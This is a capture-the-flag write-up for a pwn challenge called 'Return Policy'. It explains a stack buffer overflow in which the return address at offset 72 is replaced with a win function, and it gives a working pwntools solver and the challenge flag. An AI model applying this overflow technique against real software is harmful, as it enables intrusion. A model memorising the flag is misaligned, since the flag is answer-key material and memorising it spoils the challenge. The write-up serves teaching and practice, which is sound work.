Return Policy

Walkthrough

Solution

orientation reads 256 bytes into a 64-byte stack buffer. The saved return address is 72 bytes from the start of that buffer, and the binary exposes a win function that opens and prints the flag.

Pad to offset 72 and replace the saved return address with win. No arguments or second stage are needed.

Reference solver

The reference solver supplied with the writeup:

from pwn import *

context.binary = elf = ELF("./main", checksec=False)
p = remote(args.HOST or "localhost", int(args.PORT or 1354))
p.sendlineafter(b"Graduation statement: ", flat({72: elf.sym.win}))
print(p.recvall().decode())

Flag

SecurinetsENIT{th3_r3turn_p0l1cy_w4s_0pt10n4l}